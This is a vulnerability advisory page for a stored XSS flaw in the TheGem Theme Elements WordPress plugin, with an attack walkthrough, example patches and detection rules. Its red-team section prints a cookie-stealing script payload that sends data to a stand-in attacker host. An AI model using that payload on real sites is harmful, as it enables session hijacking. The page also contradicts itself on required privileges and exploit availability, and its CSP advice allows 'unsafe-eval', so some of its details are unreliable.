☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codexthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62044

CVE-2025-62044 Cross-Site Scripting in Codexthemes
📅 PUBLISHED: 2025-11-06 15:55 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62044 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the TheGem Theme Elements (for WPBakery) plugin, developed by CodexThemes for the WordPress ecosystem. The flaw exists in versions from n/a through 5.10.5.1, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts that execute in the context of other users' browsers when they view compromised content. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 6.5 (Medium). No public exploit code or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and commercial marketplaces. Users are advised to monitor for updates from CodexThemes and apply patches immediately upon release. The plugin's reliance on WPBakery Page Builder increases the attack surface, as both components must be kept up-to-date.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated users can trigger the stored XSS if the vulnerable input is exposed to public-facing forms.
  • User Interaction (UI): Required (R) – Victim must visit the compromised page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited content manipulation.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score (0.0%) reduce immediate risk. However, the potential for account takeover in a WordPress environment warrants prompt attention.

Deep Dive & Mechanics

The vulnerability lies in the thegem-elements plugin, which extends WPBakery Page Builder with custom elements. The plugin fails to sanitize or escape user-supplied input before rendering it in the browser. Specifically, when a user creates or edits content using a vulnerable element (e.g., a testimonial, team member, or portfolio item), the input is stored in the WordPress database without proper neutralization. When another user (including administrators) views the page, the malicious script executes.

Attack Flow:

  1. An attacker with contributor-level access (or higher) creates a new post/page using a vulnerable TheGem element.
  2. The attacker injects a payload into an input field (e.g., name, description, or custom CSS class).
  3. The payload is stored in the database without sanitization.
  4. When an administrator or other user views the page, the script executes in their browser.
  5. The attacker can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or print functions to output user data without applying esc_html(), esc_attr(), or similar WordPress escaping functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (thegem-elements/includes/shortcodes.php):

<?php
// Vulnerable: Direct output without escaping
echo '<div class="testimonial-text">' . $testimonial_text . '</div>';
?>

Patched Code (Hypothetical):

<?php
// Patched: Escaping output
echo '<div class="testimonial-text">' . esc_html( $testimonial_text ) . '</div>';
?>

The fix involves wrapping all user-supplied variables with WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress instance with TheGem Theme Elements <= 5.10.5.1 and WPBakery Page Builder.
  • Contributor-level account or higher.

Steps:

  1. Log in as a contributor.
  2. Create a new page using WPBakery and add a vulnerable TheGem element (e.g., "Testimonial").
  3. In the "Name" field, inject the following payload:
    <script>alert(document.cookie)</script>
    
  4. Publish the page.
  5. As an administrator, visit the page. The script executes, displaying cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual content creation by low-privileged users.
  • Look for <script> tags or event handlers in post content.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Host: Presence of <script> tags in WordPress wp_posts table post_content column.
  • Logs: WordPress audit logs showing creation of pages/posts with suspicious content by non-admin users.
  • File: Modified or injected JavaScript files in wp-content/themes/thegem/ or wp-content/plugins/thegem-elements/.

Detection Engineering

YARA Rule

rule CVE_2025_62044_TheGem_XSS {
    meta:
        description = "Detects stored XSS payloads in TheGem Theme Elements"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62044"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via TheGem Theme Elements
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with TheGem Theme Elements
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for post creation
        PostContent|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62044 - Stored XSS in TheGem Theme Elements"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpbakery"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict user roles – Only allow trusted users to create/edit content.
  3. Implement CSP – Add the following header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline';
    
  4. Use a WAF – Deploy rules to block common XSS patterns.

Long-Term Fix:

  • Apply the official patch from CodexThemes as soon as it is released.
  • Update to the latest version of TheGem Theme Elements (if available).
  • Conduct a security audit of all custom elements in the plugin.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"TheGem"
http.html:"thegem-elements"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62044/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.